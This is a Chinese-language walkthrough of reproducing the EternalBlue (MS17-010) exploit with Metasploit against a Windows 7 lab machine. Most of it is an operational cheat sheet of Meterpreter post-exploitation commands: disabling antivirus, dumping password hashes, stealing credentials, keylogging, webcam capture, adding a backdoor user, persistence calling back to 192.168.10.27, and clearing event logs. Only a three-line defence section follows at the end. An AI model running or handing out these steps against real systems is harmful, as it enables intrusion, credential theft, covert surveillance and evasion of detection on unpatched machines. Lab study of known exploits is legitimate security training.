永恒之蓝漏洞复现

准备工作：

1. 靶机 Windows7（已关闭防火墙）IP：192.168.3.86
2. 攻击机 Kali Linux 
3. 攻击机和靶机处于同一局域网内

使用NMAP信息收集：

可以看到端口135，445，139处于开启状态

打开MSF

msfconsole

  输入命令查询永恒之蓝MSF可用模块：

search ms17_010

exploit/windows/smb/ms17_010_eternablue是攻击模块

auxiliary/scanner/smb/smb_ms17_010是扫描模块

这里直接使用前面的序号代替

set rhosts 192.168.3.86设置攻击目标IP

run或者exploit进行开始攻击

[+]代表目标存在永恒之蓝漏洞

攻击之后拿到目标shell

解决中文乱码问题：

Chcp 65001

 渗透常用命令：

chcp 65001                                       #shell 编码乱码
run post/windows/manage/migrate                  #自动进程迁移     
run post/windows/gather/checkvm                  #查看目标主机是否运行在虚拟机上     
run post/windows/manage/killav                   #关闭杀毒软件     
run post/windows/manage/enable_rdp               #开启远程桌面服务     
run post/windows/manage/autoroute                #查看路由信息     
run post/windows/gather/enum_logged_on_users     #列举当前登录的用户     
run post/windows/gather/enum_applications        #列举应用程序     
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码     
run windows/gather/smart_hashdump                #dump出所有用户的hash
clearev                                          #清除事件日志
sysinfo             				 #查看目标主机系统信息
run scraper         				 #查看目标主机详细信息
run hashdump        				 #导出密码的哈希
load kiwi          				 #加载
ps                 				 #查看目标主机进程信息
pwd              				 #查看目标当前目录(windows)
getlwd             				 #查看目标当前目录(Linux)
search -f *.jsp -d e:\               		 #搜索E盘中所有以.jsp为后缀的文件
download  e:\test.txt  /root         		 #将目标机的e:\test.txt文件下载到/root目录下
upload    /root/test.txt d:\test    		 #将/root/test.txt上传到目标机的 d:\test\ 目录下
getpid              				 #查看当前Meterpreter Shell的进程
PIDmigrate 1384     				 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime            				 #查看主机运行时间
getuid             				 #查看获取的当前权限
getsystem          				 #提权
run  killav        				 #关闭杀毒软件
screenshot         				 #截图
webcam_list        				 #查看目标主机的摄像头
webcam_snap        				 #拍照
webcam_stream      				 #开视频
execute  参数  -f 可执行文件  	 #执行可执行程序
run getgui -u hack -p 123   	 #创建hack用户，密码为123
run getgui -e              			     #开启远程桌面
keyscan_start               			 #开启键盘记录功能
keyscan_dump                			 #显示捕捉到的键盘记录信息
keyscan_stop                			 #停止键盘记录功能
uictl  disable  keyboard    			 #禁止目标使用键盘
uictl  enable   keyboard    			 #允许目标使用键盘
uictl  disable  mouse       			 #禁止目标使用鼠标
uictl  enable   mouse       			 #允许目标使用鼠标
load                       		 #使用扩展库
run				            	 #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27 #反弹时间间隔是5s 会自动连接
portfwd add -l 3389 -r 192.168.11.13 -p 3389    #将192.168.11.13的3389端口转发到本地的3389端口上，这里的192.168.11.13是获取权限的主机的ip地址
clearev                      #清除日志

防御措施：

及时打补丁KB2919355。

开启Windows防火墙，

禁用445.139端口。